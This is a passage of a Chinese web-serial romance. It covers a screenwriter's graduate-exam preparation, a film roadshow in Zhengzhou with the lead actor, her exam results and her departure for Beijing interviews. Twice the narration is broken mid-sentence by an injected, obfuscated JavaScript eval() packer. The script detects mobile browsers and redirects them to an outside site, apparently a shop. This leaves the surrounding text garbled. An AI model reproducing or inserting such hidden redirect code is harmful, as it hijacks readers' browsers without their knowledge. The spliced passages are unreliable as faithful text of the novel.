闻朝脱掉外套,换上拖鞋,语气平静,“就是正常的创作讨论,定了路演城市,郑州在内。” “就这?”宋枝瞪大眼睛,“没点私人对话?没约个饭什么的?” “没有。”闻朝走到自己书桌前坐下,拿出专业书,“陈导一走,我们也散了。” 宋枝一脸恨铁不成钢,还想说什么,被从厨房端着水果出来的陆易安制止,“行了,别八卦了。朝朝心里有数。” 闻朝对陆易安感激地笑了笑。是的,她心里有数。现在的每一分精力,都必须留给眼前这座名为“考研”的山。 54. 他再次来到了我的城市 “我觉得我脑细胞已经死光了,”宋枝嚼着水果,含混不清地说,“今天背了五十页《病理学》,现在看你们俩都觉得像切片标本。” 陆易安从电脑前抬起头,推了推眼镜,“那你最好别照镜子。” 闻朝被逗笑,揉了揉酸胀的太阳穴。 她的桌上摊开着《中国文学史》和一堆笔记,旁边还放着陈序导演发来的《骤雪止》最新版宣传方案细纲,需要她确认一些细节。 “朝朝,”宋枝凑过来,看了眼她电脑屏幕,“路演真有郑州站啊?沈淮时真来?” 闻朝点了点头,“嗯,陈导定下了。时间在十二月初旬,刚好……考研前两周。” “哇,那他岂不是要来给你考前打气?”宋枝眼睛一亮,“到时候我们去不去看?易安,我们能搞到票吗?内部票!” 陆易安瞥她一眼,“先操心你的西医综合能不能过线吧。还有,别给朝朝添乱。” “我怎么就添乱了!”宋枝不服,“这是精神支持!战略鼓舞!对吧朝朝?” 闻朝笑了笑,没接话。 “我突然想到,”宋枝不知道想到了什么,语气变得深沉。 见闻朝和陆易安投来疑惑的眼神,宋枝叹了一口气,说:“朝朝,你还记得去年的九月吗?当时也是沈淮时郑州路演,但是你没票,也没见到他。” 听到这话,闻朝的目光变得悠远,她点了点头,“是啊,当初的遗憾,现在似乎得到了弥补。” “现在不一样了,”宋枝笑了笑,看向闻朝,“你看,你这次不仅能去路演,你还是和他并肩的,站在台上。” 宋枝的声音在安静的客厅里漾开,带着某种笃定的暖意。 闻朝的目光从电脑屏幕上抬起,看向宋枝笑着的脸。 是啊,不一样了。 去年九月,她还只是一个挤在人群外围、翘首以盼却最终未能靠近的普通观众。那份近在咫尺却遥不可及的遗憾,被她藏在心底。 如今,她却能以编剧的身份,光明正大地站在那个舞台上,与他并肩。不是仰望,而是共同完成一件作品后的相视与交流。 “并肩吗……”闻朝轻声重复,指尖无意识地点着桌上那份资料,“好像是的。” 陆易安合上笔记本电脑,端起水杯喝了一口,语气平静地补充,“不只是并肩。是你创造了那个世界,他走进了那个世界。你们在不同的维度上,完成了同一件事。” 这话说得精准。 闻朝的心弦被轻轻拨动。是的,她构建了顾嘉言的血肉与灵魂,赋予他风雪与挣扎;而沈淮时让那个纸上的人物活了过来,走到了千万人面前。 宋枝托着腮,眼神亮晶晶地盯着闻朝,最后意味深长地“嘿嘿”笑了两声,倒也没再打趣。 她难得安静下来,只是拍了拍闻朝的肩膀,“总之,朝朝,你现在超棒的。等路演那天,我和易安在台下给你鼓掌,最响的那种!” 闻朝心里一暖,点了点头,“好。” 时间就在这样充实的“苦修”中,滑向了十二月。 《骤雪止》的宣传开始全面铺开。 预告片放出,口碑发酵,沈淮时和几位主演的演技、电影的质感都获得了不俗的评价。 作为编剧兼原著作者,闻朝的名字也开始被更多圈内人和观众提及。她偶尔接受一两个简短的线上访谈,回答也谨慎而专业,将外界的关注尽量隔绝在备考的世界之外。 郑州路演,当天。 商场中庭被布置成了临时放映厅和互动区,人山人海,粉丝的尖叫声几乎要掀翻屋顶。 闻朝在后台休息室,能清晰地感受到外面沸腾的热浪。她今天穿了一件米白色的毛衣和深色长裤,妆容清淡,长发简单地披在肩后,看起来更像一个清秀的学生,而非聚光灯下的创作者。 陈导和其他几位主演已经到了,正轻松地聊着天。 沈淮时是最后一个到的,他整个人仿佛自带追光,一进来就吸引了所有人的目光。他和导演、同事一一打招呼,态度谦和而专业。 然后,他的目光转向了闻朝。 那一刻,周遭的嘈杂似乎瞬间远去。他的眼神很平静,带着工作场合应有的礼貌和适度熟稔的笑意,对她微微颔首,“闻编剧,又见面了。” “沈老师。”闻朝也回以同样克制而专业的微笑。 没有多余的眼神交流,没有特别的寒暄。一切都恰到好处,符合他们此刻公开的“前同事兼合作伙伴”身份。 活动开始。主创们上台,主持人引导,互动,播放精彩片段,分享拍摄趣事。 沈淮时无疑是全场的焦点,他回答问题幽默得体,与粉丝互动真诚热情,控场能力一流。 闻朝话不多,但每次被问到剧本或创作相关的问题时,回答都言之有物,清晰恳切,也赢得了观众善意的掌声。 整个过程中,她和沈淮时几乎没有直接的交流。 只有一次,在主持人提到某个情节设计巧妙时,沈淮时自然而然地接了一句“这要感谢我们编剧老师的巧思”,并朝闻朝的方向看了一眼。闻朝则微笑着欠身回应。仅此而已。 台下,隐藏在观众席里的宋枝紧紧抓着陆易安的手,激动得手心冒汗,却又不得不压低声音,“你看他们!装得跟真的似的!明明……哎呀,这演技,绝了!” 陆易安拍开她的手,示意她安静看。 活动按流程顺利进行。到了粉丝提问环节,有一个头上戴着蓝色的沈淮时姓名的发箍的粉丝,她刚拿到话筒,所有人都看得出来她很激动。 但她还是故作平静地认真发表着自己的对这部影片的理解和看法,却在最后的时间,她看了看沈淮时,脸上扬起促狭的笑。 沈淮时看着那笑,不知为何,觉得下一秒该把目标放在自己身上了。 果然,下一秒,那粉丝将话题引到沈淮时身上,说出了那句他年少时的口头禅,“接下来,我想对沈淮时老师说,这个冬天,任何人不来看《骤雪止》,我都会很伤心的,OK?” 果然,在听到这话,全场爆发出了一种猛烈的笑声。 身旁的导演和其他主演都在看热闹,哈哈笑着。 沈淮时也笑了,他不好意思地拿起话筒,“其实她前几个字刚出来,我鸡皮疙瘩就起来了,果不其然。” 他顿了顿,补充了一句:“大家把目光放在电影身上,不要过度地关注我小时候哈。” 这话一出,又引起了全场的爆笑。 台下,隐藏在观众席里的宋枝差点笑出声,连忙捂住嘴,肩膀却抑制不住地抖动。陆易安无奈地看她一眼,眼底却也掠过一丝笑意。 闻朝站在台上,保持着礼貌的微笑,目光却也不由自主地飘向身侧的沈淮时。 灯光落在他带着些许窘迫却依旧从容的侧脸上,那种属于“沈淮时”的真实鲜活感,与他平日清冷沉稳的形象形成微妙反差,竟显得格外……生动可爱。 沈淮时似乎察觉到了她的目光,微微偏过头,视线与她有瞬间的交汇。 他眼中还残留着被“揭短”后的无奈笑意,但在对上她眼睛时,那笑意里又掺杂了一丝窘然,仿佛在说:看,又被翻出黑历史了。 闻朝心头微软,嘴角的笑意也不自觉地加深了些许。 那句口头禅是他刚出道那年,因为台下的粉丝年纪都小,人也比较多,他为了维护秩序,拿起话筒就说:“大家别拥挤,每个人受伤我都会伤心的,OK?” 后来,随着他长大,他小时候说的每句话、每个囧事都被粉丝记在心里,有时候还会拿出来‘贴脸开大’。 这个小插曲像一颗投入湖面的石子,漾开圈圈轻松的涟漪,将方才台上台下那种因场合而生的、略带距离感的氛围冲淡了不少。 提问环节继续。 一个看起来年纪不大的女孩拿到了话筒,她先是表达了对沈淮时的喜爱和对电影的期待,然后,目光转向了闻朝,有些腼腆地问:“闻朝姐姐,我看了原著,也看了预告片,觉得您把顾嘉言这个角色写得好真实,好让人心疼。我想问,您在创作的时候,是怎么把握他那种……在绝境中依然保持尊严和温柔的力量感的?您有参考什么现实中的原型或者经历吗?” 这个问题问得很真诚,也很有水准。全场安静下来,等待闻朝的回答。 闻朝接过话筒,沉默了片刻。她看向台下,目光扫过无数张期待的脸,也无意中掠过宋枝和陆易安鼓励的眼神。最后,她的视线轻轻落在身旁的沈淮时身上。他正侧耳倾听,神情专注。 “谢谢你的问题。”闻朝开口,声音通过话筒传遍全场,清晰而沉静,“创作顾嘉言的时候,我并没有一个具体的生活原型。更多的是基于我对人性的一种理解和信念。我相信,即使在最黑暗的境地里,人心中总有一些东西是无法被摧毁的,可能是爱,可能是责任,也可能只是一种不肯低头的骄傲。这种力量,不一定轰轰烈烈,它可能很微弱,就像雪夜里的一点烛光,但它存在,就能给人走下去的勇气。” 她顿了顿,目光变得有些悠远,仿佛穿透了眼前的喧嚣,看到了更深的东西。 “至于把握那种力量感……我觉得,与其说是‘把握’,不如说是‘呈现’。当你真正理解了这个人物,相信他所相信的,疼他所疼的,那么他在绝境中的每一个选择,每一次坚持,都会自然而然地流露出来。作为作者,我只是努力地把这种‘真实’记录下来。当然,”她微微转头,看向身旁的沈淮时,语气里带上一丝真诚的敬意,“最终的呈现,离不开演员极其出色的理解和演绎。沈老师赋予了顾嘉言灵魂,让纸上的文字真正活了过来,有了血肉和温度。这一点,我非常感激。” 她说完,对着台下和身旁的沈淮时,分别微微鞠了一躬。 台下响起热烈的掌声。提问的女孩眼眶都有些湿润。 沈淮时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366014|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在一旁,静静地听着。在闻朝提到“演员极其出色的理解和演绎”时,他眼底闪过一丝极快的光,像是被什么柔软的东西轻轻撞了一下。 当闻朝向他鞠躬时,他也立刻微微欠身还礼,姿态谦逊。 整个互动,礼貌,专业,充满了对彼此工作和才华的尊重。没有任何越界,却自有一种无言默契在流淌。 活动结束后,按照惯例,主创们有短暂的媒体群访时间。闻朝本想悄悄退到一旁,却被陈导叫住,“闻编,一起来,编剧的视角很重要。” 于是,她不得不站在了沈淮时斜后方的位置。 无数话筒和镜头对准他们,闪光灯噼啪作响。问题大多围绕电影和沈淮时展开,闻朝只需要在涉及剧本时简单补充几句。 直到一个娱乐媒体的记者,将话筒转向闻朝,问题却有些偏离轨道,“闻朝编剧,我们知道您除了是《骤雪止》的编剧,本身也是一位非常优秀的青年作者,而且据悉您正在备考北大中文系的研究生。请问您是如何平衡创作、学业和现在这样的宣传工作的呢?未来是否考虑继续从事编剧行业?” 问题还算正常,但闻朝能感觉到,周围不少媒体的镜头瞬间对准了她,似乎想从她这里挖出更多“故事”。 她定了定神,回答得清晰而谨慎,“目前我的重心确实是放在考研上,希望能系统深化自己的文学素养。创作是我热爱的事业,不会放弃。至于平衡,主要是做好时间管理和规划,也要感谢剧组和宣传方的体谅与合理安排。”她顿了顿,补充道,“《骤雪止》是我非常珍视的作品,能参与它的宣传,是我的责任,也是荣幸。” 回答中规中矩,挑不出错处。 那记者似乎还不满足,视线在她和沈淮时之间微妙地转了一下,还想再问什么,旁边另一个记者已经抢先问起了沈淮时下一个工作安排。 群访在有些紧绷的气氛中结束。 回到后台,闻朝轻轻松了口气。陈导拍了拍她的肩膀,“回答得不错,别有压力。” 沈淮时被工作人员围着核对接下来的行程,隔着人群,他的目光远远地投过来,与她有一瞬的交汇。那眼神很平静,却似乎传递着一丝无需言说的“做得很好”的意味。 没有机会再单独说话。主创团队要赶赴下一个通告,闻朝可以直接离开。 宋枝和陆易安在侧门等她。 一见面,宋枝就忍不住小声欢呼,“朝朝你刚才太帅了!回答问题好有范儿!还有最后那段夸沈淮时的话,哇,他看你的眼神……” “枝枝!”闻朝打断她,无奈地笑了笑,“走了,回家。明天还要模考。” 回去的路上,闻朝靠在出租车窗边,看着窗外飞速倒退的街景。刚才在台上的紧张感渐渐褪去,留下一种奇异的平静和……一点点空落落的感觉。 公开场合的克制与距离,是必要的,也是她主动选择的。 手机在包里震动了一下。她拿出来,是一条新微信。 沈淮时:【回答得很好。媒体有时候会这样,别在意。】 还是那样简洁。 她看着那条消息,嘴角不自觉地弯了弯,回复。 闻朝:【嗯。你也是,赶通告注意休息。】 沈淮时没有再回。 但足够了。 车子驶入她们租住的小区。窗外的路灯次第亮起,照亮归家的路。 回到租住的公寓,暖气带来的干燥暖意扑面而来,瞬间驱散了外头的寒气。 宋枝一进门就甩掉靴子,瘫在沙发上长叹一口气,“我的妈呀,现场那个气氛,比我想象的还夸张!朝朝,你站在台上,被那么多镜头对着,紧张不紧张?” 闻朝脱下外套挂好,给自己倒了杯温水,慢慢喝了一口,“还好。把自己当成工作的一部分,就没那么紧张了。” “装,你就装吧。”宋枝凑过来,挤眉弄眼,“我可看见了,沈淮时最后看你那一眼,啧啧,虽然就那么零点几秒,但绝对有内容!你说,他是不是……” “宋枝,”陆易安从厨房探出头,手里拿着刚洗好的苹果,“你的《生物化学》第三章重点背完了吗?明天早上抽查。” “啊——!”宋枝发出一声哀嚎,瞬间把八卦抛到脑后,扑向自己的书桌,“陆易安你不是人!我刚经历了精神洗礼,需要放松!” 陆易安把苹果递给她一个,又给了闻朝一个,“放松可以,先完成今日任务。距离考研还有不到两周,每一分钟都很宝贵。” 闻朝接过苹果,冰凉甜脆的口感让她精神一振。 她走到自己的书桌前,看着上面堆积如山的资料和写满的计划表。 路演带来的短暂波澜迅速平息,更现实的压力沉甸甸地压了上来。 她打开手机,又看了一眼沈淮时那条“回答得很好”的消息。指尖在屏幕上悬停片刻,终究还是没有再回复什么。 现在不是分心的时候。 55. “骤雪止,天初霁” 接下来的日子,像上了发条的陀螺,高速旋转,再无停歇。 考研进入了最后,也是最残酷的冲刺阶段,日历上的红圈层层叠叠。 客厅里的三张书桌,几乎被埋没在堆积如山的模拟卷、错题本和背诵手册里。 宋枝不再大呼小叫,脸上多了两个浓重的黑眼圈,嘴里念念有词的都是病理名词和药理公式,偶尔抬头,眼神都是直的。 陆易安依旧是最稳的那个,但书桌边也多了好几个空掉的速溶咖啡条,翻阅法典的速度越来越快,指尖因长时间书写而微微泛红。 闻朝把自己完全按在了“北大”这座大山上。她制定了精确到小时的复习计划,每天睡眠时间压缩到不足六小时。 政治要背,英语真题要反复刷,专业课那几本厚重的理论著作几乎被她翻烂,边缘都起了毛边。她甚至把《骤雪止》的一些经典台词和意象,巧妙地融入到了文学评论的练习中,让陆易安看了都忍不住说一句“学以致用,厉害”。 《骤雪止》的路演在其他城市如火如荼地进行,相关热搜上了好几次。 闻朝只在吃饭的间隙,偶尔用手机扫一眼新闻推送,看到沈淮时在某个城市被粉丝围得水泄不通的照片,或是电影口碑持续发酵的捷报,心里会泛起一丝微澜,但很快就被下一道需要背诵的论述题压下去。 她和沈淮时之间,那场雪后的简短交流像投入深潭的石子,涟漪散去后,水面复归平静。 对话框沉寂着,彼此都心照不宣地退回到最安全的距离。 她是即将踏入考场的考生,他是奔波在宣传途中的顶流。任何多余的牵扯,此刻都是负担。 十二月底,考研初试的日子终于到了。 考试前夜,三个女孩都失眠了。没有想象中的彻夜复习,只是各自躺在黑暗里,听着窗外呼啸的北风,和彼此压抑的呼吸声。 “喂,”宋枝在黑暗中小声说,“万一……我是说万一,我们都考上了,我们去哪里庆祝?” “考上再说。”陆易安的声音从旁边传来,带着一丝不易察觉的紧绷。 “我想去吃那家很贵的日料。”宋枝自顾自地说下去,“还要开瓶酒,不,开三瓶!我们一人一瓶!” 闻朝没说话,只是睁着眼睛,看着天花板上被路灯映出的模糊光斑。 脑海里走马灯似的闪过这半年来的点点滴滴:大理书店的阳光,抢票时的紧张心跳,演唱会震耳欲聋的声浪,后台他含笑的眼睛,私房菜馆安静的池塘,路演台上克制的对视…… 最后,定格在眼前这片沉静的黑暗,和明天那场未知的战役上。 她忽然想起沈淮时说过的那句“做任何事,钻到深处都会遇到枯燥期”。现在,就是钻到最深、最暗、也最接近出口的时候了吧。 第二天,天刚蒙蒙亮,她们就起床了。谁也没多说话,沉默地洗漱,检查准考证和文具,吃下陆易安准备的简易早餐。 出门时,天空飘着细碎的雪粒,落在脸上冰凉。 考场外人山人海,一张张年轻或不再年轻的脸上,写着相似的紧张与期盼。她们在人群中找到彼此考场的指示牌,互相看了一眼。 “加油。”陆易安说,声音沉静,可细听,还能听到几分不安。 “必胜!”宋枝挥了挥拳头,声音有点发颤。 闻朝对她们点了点头,转身,汇入了奔赴各自战场的人流。 两天的考试,像一场漫长而激烈的梦境。笔尖在答题卡上沙沙作响,时间被切割成一块块,填满陌生的题目和熟悉的焦虑。 走出最后一场专业课的考场时,雪下得大了些,在地上积了薄薄一层。 闻朝站在考场外,看着漫天飞舞的雪花,长长地、缓缓地吐出一口气。身体是虚脱的,脑子是空白的。 无论结果如何,她已倾尽全力,走完了这一段。 手机在口袋里疯狂震动起来。是“考研先锋队”群里宋枝和陆易安的消息。 宋枝:【考完了!!!解放了!!!我感觉我发挥出了毕生所学!虽然可能还是不及格……不管了!今晚不醉不归!】 陆易安:【嗯,结束了。有些题把握不大,但尽力了。@闻朝你那边怎么样?】 闻朝慢慢打字:【感觉……像做了一场很长的梦。现在梦醒了。】 宋枝:【梦醒了就该狂欢了!地址发我!我已经在打车去火锅店的路上了!今天谁也别跟我提‘学习’两个字!】 看着屏幕上跳动的文字,闻朝终于感觉到一丝真实的、活过来的气息。她笑了笑,回复:【好,马上来。】 火锅店里热气腾腾,人声鼎沸。她们要了个小包间,红油锅底翻滚着,散发出辛辣诱人的香气。 宋枝一口气点了满满一桌子肉和菜,又要了几瓶啤酒。 “第一杯!”宋枝举起倒满啤酒的杯子,眼圈有点红,“敬我们这半年!敬掉光的头发,敬黑眼圈,敬做不完的题和背不完的书!也敬……我们三个都没放弃!” 三个玻璃杯重重地碰在一起,发出清脆的响声。冰凉的液体滑入喉咙,带来一阵刺激的爽快感,也冲开了压抑许久的情绪。 她们不再谈论考试,只是放肆地吃,大声地说笑,回忆备考期间的糗事和互相打气的瞬间。 火锅的热气熏红了脸颊,啤酒让神经松弛下来。半年的疲惫、焦虑、压力,似乎都随着这顿饭,被暂时地遗忘和宣泄。 吃到一半,宋枝忽然放下筷子,神秘兮兮地压低声音,“哎,你们说,沈淮时知不知道我们今天考试啊?” 闻朝夹菜的手顿了一下。 陆易安瞥了宋枝一眼,毫不客气,“吃你的肉。” “我这不是好奇嘛!”宋枝嘟囔,“朝朝,他后来……真的没再联系你?” 闻朝摇了摇头,声音很冷静,“没有。这个阶段,不联系才是对的。” 她说的是实话,也是对自己的告诫。考完了,并不意味着什么改变。他们之间,依然隔着现实的千山万水。 宋枝叹了口气,像是有些遗憾,又像是释然,“也是。你们俩啊,就跟那文艺片似的,节奏慢得急死人。” 正说着,闻朝放在桌上的手机屏幕亮了一下。是一条微信新消息提醒。 发信人:沈淮时。 闻朝的心跳,不受控制地漏跳了一拍。她拿起手机,点开。 沈淮时发来的不是文字,而是一张图片。 点开,是一张很简单的照片。 镜头对准了窗外,窗外是深沉的夜色,和纷纷扬扬的雪花。雪下得很大,在路灯的光晕里织成一片密密的帘幕。照片的构图并不讲究,甚至有些模糊,但那种静谧的、雪落无声的感觉,却扑面而来。 图片下面,跟着一行字。 沈淮时:【考完了?这边雪很大。】 没有问“考得怎么样”,没有多余的寒暄。只是一张雪景照片,和一句平淡的陈述。 闻朝看着那张照片,看着那行字,刚才被火锅和啤酒烘得有些发热的脸颊,似乎凉了一下。 她仿佛能透过这张照片,看到他此刻可能的状态,或许也是刚结束一天的工作,在某个酒店房间,独自站在窗边,看着这场大雪。然后,他想起了另一个也在今天结束重要战役的人,想起了某次关于初雪的简短交流。 他什么也没说,却又好像什么都说了。 闻朝握着手机,指尖有些发凉。她没有立刻回复,而是将手机屏幕按熄,放在了桌上。 “谁啊?”宋枝好奇地探头。 “……没什么,垃圾信息。”闻朝垂下眼,夹了一筷子青菜放进锅里,热气模糊了她的表情。 陆易安看了她一眼,没说话,只是默默地将一盘她爱吃的虾滑推到她面前。 那一晚,她们吃到很晚,啤酒喝空了好几瓶。宋枝最后是半搀半扶回去的,嘴里还哼着不成调的歌。 陆易安也难得地露出了醉意,靠在闻朝肩膀上,小声说:“朝朝,不管考上考不上,你都是最棒的。” 闻朝扶着她们,走在寂静的、铺着薄雪的小区路上。冷风一吹,酒意散了大半,头脑异常清醒。 回到公寓,安顿好两个醉猫,闻朝独自走到阳台上。雪还在下,无声无息地覆盖着城市的轮廓。远处的灯火在雪幕中晕染成一片模糊的光团。 她拿出手机,再次点开那张雪景照片,看了很久。 然后,她打字,回复。 闻朝:【嗯,考完了。郑州也在下雪。】 消息发送出去。 她等了一会儿。屏幕暗下去,没有再亮起。 他没有回复。 闻朝也不在意。她收起手机,将脸贴近冰冷的玻璃窗,呵出一小片白雾,静静地隔着窗户看向外面的这场雪。 考试结束了,但人生的答卷,还远远没有写完。 她和他的故事,也像这场不知何时会停的大雪,安静地、持续地、落向未知的远方。 雪下了整整一夜。 清晨,闻朝被窗外格外明亮的反光晃醒。她坐起身,赤脚走到窗边,拉开窗帘。外面已是一片银装素裹的世界。 客厅里传来窸窸窣窣的动静。宋枝顶着一头乱发,抱着毯子窝在沙发里,对着手机屏幕发呆,脸上还带着宿醉的懵懂。 陆易安已经洗漱完毕,正在厨房煮咖啡,香气丝丝缕缕地飘散出来。 “早。”闻朝走过去,声音有些沙哑。 “早……”宋枝有气无力地应了一声,把脸埋进毯子,“头好痛……我昨晚是不是又断片了?” “没有,你只是把《病理学》当歌唱了三遍。”陆易安端着两杯咖啡走出来,语气平淡地陈述。 宋枝哀嚎一声,彻底缩进毯子里。 闻朝接过陆易安递来的咖啡,小口喝着。温热的液体熨帖着肠胃,也驱散了最后一点残余的倦意。考后的空虚感,像这满世界的雪,安静,庞大,无所不在。 沈淮时的对话框依旧沉寂,停留在昨晚她发出的那条“郑州也在下雪”之后。 她说不清是失落,还是释然。也许两者都有。 接下来的几天,生活陷入了一种奇异的失重状态。不用再早起背书,不用再掐着时间刷题,不用再对着密密麻麻的笔记焦虑。时间一下子多出了大把,却不知道该用来做什么。 宋枝拉着她和陆易安去逛街、看电影、吃各种“备考期间严禁碰触”的垃圾食品,试图用喧嚣填满空虚。陆易安则开始整理这半年的资料和书籍,分门别类,准备打包带走或处理掉,行动里带着一种近乎仪式感的告别。 闻朝也跟着她们一起,逛街时试衣服心不在焉,看电影时盯着屏幕出神,吃东西也尝不出太多味道。她的思绪总是不由自主地飘远,飘向那座被白雪覆盖的北京城,飘向某个可能也在看雪、也可能早已投入新工作的人。 等待成绩的日子,比备考本身更煎熬。那是一种悬在半空、无处着力的焦虑。明明已经交了卷,命运却攥在别人手里。 一周后,《骤雪止》正式全国公映。 首日票房破亿,口碑持续走高。社交媒体上,关于剧情、演技、台词、的讨论铺天盖地。 作为编剧和原著作者,闻朝的名字被提及的频率也高了起来。一些专业的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回到家,闻朝打开电脑。邮箱里躺着几封新的工作邀约,有出版社的,有其他影视公司的,措辞都很客气,看中了她因《骤雪止》而提升的知名度。她一封封仔细看过,却没有立刻回复的冲动。 她知道,自己需要时间。需要等一个结果,也需要想清楚,接下来到底要往哪里走。 又过了几天,一个平静的午后,闻朝刚刚睡醒,昨晚她写了新书的大纲,很晚才睡。 刚打开房门,便看到客厅坐着的两眼通红的两个人。 “这是......怎么了?”闻朝有些不解地看着她们,语气中是难得的颤抖,她似乎想到了什么,“你们......” “朝朝!出来了!成绩出来了!!”宋枝的声音激动得变了调,陆易安在旁边坐着,并不难看得出她的激动。 闻朝几乎能听见自己血液奔流的声音。她深吸一口气,强迫自己冷静,“你们……查到了?” “查到了!我们都查到了!你快查你的!”宋枝语无伦次,“我的天,我居然过线了!虽然分不高!易安也是!她分数好高!朝朝你快查!” 闻朝坐在沙发上,手指颤抖着输入网址、准考证号、身份证号。网页加载得异常缓慢,每一秒都像一年那么长。 终于,页面跳转。 总分,政治,英语,专业课一,专业课二……一串数字映入眼帘。 她盯着那串数字,看了很久,很久。大脑一片空白,然后,缓慢地开始运转,与记忆中的历年分数线进行比对。 一遍,两遍,三遍。 过了。 不仅过了,分数比她预估的还要高出一截。尤其是专业课,几乎接近满分。 宋枝和陆易安探过头,看着手机屏幕里那鲜亮的分数,两个人顿了顿。 下一秒,宋枝的尖叫几乎要冲破公寓:“啊啊啊啊啊!!闻朝你是个什么神仙!!这分数!稳了!北大稳了!!我们三个!都过了!!!” 陆易安伸手抱了抱闻朝,声音颤抖,“朝朝,我们都过了,我们都考上了。” 巨大的喜悦淹没了闻朝,让她一时间说不出话,只是看着网页上属于自己的分数,她的眼眶一阵阵发热。 这半年的所有艰辛、焦虑、迷茫,在这一刻,似乎都找到了意义。 就在这时,手机又轻轻震动了一下。 是一条新的微信,单独发来的。 发信人:沈淮时。 闻朝的心跳,在狂喜的浪潮中,又突兀地多跳了一拍。 她点开。 沈淮时发来的,依旧不是文字。 是一张照片。 照片里,是一本摊开的书。看封面和排版,是一本很老的、品相很好的外文诗集。书页有些泛黄,但保存得很整洁。照片的焦点,落在其中一页的一行诗句上。诗句是手写体的英文,字迹优美而古老。 闻朝英文不错,她轻轻念出那行诗: “Afterthefinalsnowflake,theskybeginstoclear.” (最后一片雪花落下后,天空开始放晴。) 诗句下面,还有一行更小的、似乎是译者或读者留下的手写中文批注,字迹清峻,她认得:“骤雪止,天初霁。” 照片下面,跟着他简短的话。 沈淮时:【恭喜。天晴了。】 闻朝看着那张照片,看着那行诗,看着那句“骤雪止,天初霁”,还有最后那三个字“恭喜。天晴了。” 所有的声音,所有的情绪,在那一瞬间,仿佛都远去了。 56. 北京好啊,北京有沈淮时 成绩出来的狂喜像夏日午后的骤雨,来得迅猛,去得也快。随之而来的,是更现实的抉择与安排。 北大复试通知在一个星期后发出,时间定在三月底。这意味着闻朝只有不到一个月的准备时间。 复试不比初试,它更侧重于综合素养、专业积累和临场应变,需要大量的阅读、思考和模拟练习。 与此同时,因为《骤雪止》的成功,找上闻朝的工作邀约越来越多。有影视公司想买她之前短篇小说的版权,有出版社催促她新长篇的进展,还有一些综艺和访谈节目发来邀请,想请这位“天才编剧”分享创作心得。 机会像潮水般涌来,每一个都闪着诱人的光。 宋枝捧着手机,眼睛瞪得溜圆,一条条念着那些邀约详情,语气兴奋得比自己中了头彩还要雀跃三分,“朝朝!快看这个!国民级综艺的策划案!还有这个访谈,号称‘思想者殿堂’,去了肯定能刷一波高大上的存在感!还有这个报价……我的天!咱们要不要先挑一两个含金量高的接下来?这可是实打实的名利双收啊!” 陆易安则冷静得多,她把所有邀约分类整理,做成表格,标注出利弊和所需时间,然后对闻朝说:“现在最重要的是复试。这些机会,考上之后只会更多更好。分清主次。” 闻朝看着那张密密麻麻的表格,心里清楚陆易安是对的。但她并非毫无触动。那些邀约背后代表的,是她曾经渴望的认可和可能的事业起点。 “我决定,”闻朝的声音响起,平静而坚定,“所有需要占用大量时间、或者需要我本人频繁露面的商业活动和访谈,全部婉拒。出版社那边的新书合同可以谈,但交稿期必须延后到复试之后。” “明智!”陆易安赞许道。 宋枝则有些遗憾,“啊……那些节目看着挺好玩的。不过朝朝你说得对,考上北大才是王道!等你成了北大研究生,身价倍增!” “不是为了身价。”闻朝轻声纠正,“是为了我自己想走的路。北大,是这条路上一座很重要的桥。” 处理完这些纷扰,闻朝重新将自己沉入备考的节奏。只是这次的“备考”,与初试前那种填鸭式的背诵刷题不同,更多是带着问题去阅读、去思考、去构建自己的知识体系和观点。 她重新啃起了那些艰深的文艺理论原著,在字里行间寻找与自己创作体验的共鸣与碰撞。 她开始有意识地关注学术前沿动态,尝试用更专业的视角去分析当下的文化现象和文学作品。甚至,她将《骤雪止》的创作过程作为一个案例,反复剖析,试图从中提炼出更具普遍性的创作方法论。 生活恢复了规律的平静。每天大部分时间泡在市图书馆或租住公寓里,偶尔和宋枝、陆易安一起外出吃顿饭,交流一下彼此的复试准备进度。宋枝在疯狂练习英语口语和专业知识问答,陆易安则在深入研究她报考导师近年的所有论文和观点。 期间,沈淮时的名字依旧会不时出现在闻朝的生活里。可能是微博热搜上关于他新代言的讨论,可能是新闻里他出席某个时尚活动的身影,也可能是宋枝偶尔刷到时的一声惊叹。 电影《骤雪止》的票房一路高歌猛进,打破了同类型电影的多个纪录,沈淮时的演技和票房号召力再次得到公认。 他们之间,依旧没有更多的联系。那张写着“骤雪止,天初霁”的诗集照片和那句“恭喜”,就这样留在了聊天框里。 她们三人偶尔打气,分享信息,但是玩闹也少了,她们的目标聚焦在了北京,在那座充满繁华与灯光的首都。 出发前往北京复试的那天,郑州的天空是沉重的铅灰色,云层厚重低垂,酝酿着一场似乎随时可能降临的雨,却终究没有落下。空气干冷,风吹在脸上有细微的刺痛感。 她们在高铁站入口处汇合。每个人都拖着一个显得有些沉重的行李箱,里面塞满了复习资料、换洗衣物,以及一点点对未知旅程的紧张与期待。 宋枝穿着一件亮眼的橘红色外套,试图驱散阴霾天气带来的沉闷,她原地小跳着,搓着手哈气,“好冷!不过一想到要去北京了,又觉得热血沸腾!姐妹们,检验咱们‘闭关修炼’成果的时刻到了!” 陆易安依旧是一身利落的深色大衣,围巾系得一丝不苟,她检查着三人的身份证和车票,语气冷静,“G668次,8号车厢。资料都带齐了?模拟问答的笔记呢?电子设备电量充足?” “带齐了带齐了!”宋枝拍着鼓囊囊的背包,“知识都在脑子里,也在移动硬盘里做了三重备份!” 闻朝站在她们中间,穿着浅灰色的长款羽绒服,围了一条柔软的米白色羊毛围巾,衬得脸小小的。她没说话,只是看着两位好友,眼底有细碎而温暖的光。然后,她伸出手,一手拉住宋枝,一手挽住陆易安。 